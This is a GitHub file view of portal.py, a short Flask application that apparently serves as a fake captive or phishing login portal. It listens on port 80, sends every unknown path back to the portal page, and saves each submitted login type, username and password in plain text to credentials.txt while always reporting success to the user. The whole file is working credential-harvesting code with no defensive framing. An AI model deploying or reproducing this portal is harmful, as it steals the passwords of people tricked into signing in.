-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathportal.py
64 lines (51 loc) · 1.36 KB
/
portal.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding: utf-8 -*-
from os.path import join, dirname, abspath
from flask import Flask, redirect, render_template, request
import json
app = Flask(
__name__,
static_url_path = '/',
static_folder = 'public'
)
# App configuration
current_dir = dirname(abspath(__file__))
config_dir = join(current_dir, 'config')
config_file = join(config_dir, 'portal.conf')
locale_file = join(current_dir, 'locale.json')
credentials = join(current_dir, 'credentials.txt')
app.config.from_pyfile(config_file)
@app.errorhandler(404)
def not_found(e):
return redirect('/')
@app.route('/')
def portal():
lang = app.config['LANG']
locale = get_locale(lang)
return render_template(
'portal.html',
locale = locale
)
@app.route('/login', methods = ['POST'])
def authentication():
save_credentials(request.get_json())
return json.dumps({'success': True})
def get_locale(lang):
filename = locale_file
with open(filename) as f:
return json.load(f)[lang]
def save_credentials(form):
type = form['type']
username = form['username']
password = form['password']
with open(credentials, 'a') as f:
f.write("%s,%s,%s\n" % (
type,
username,
password
))
if __name__ == '__main__':
app.run(
host = '0.0.0.0',
port = 80,
threaded = True
)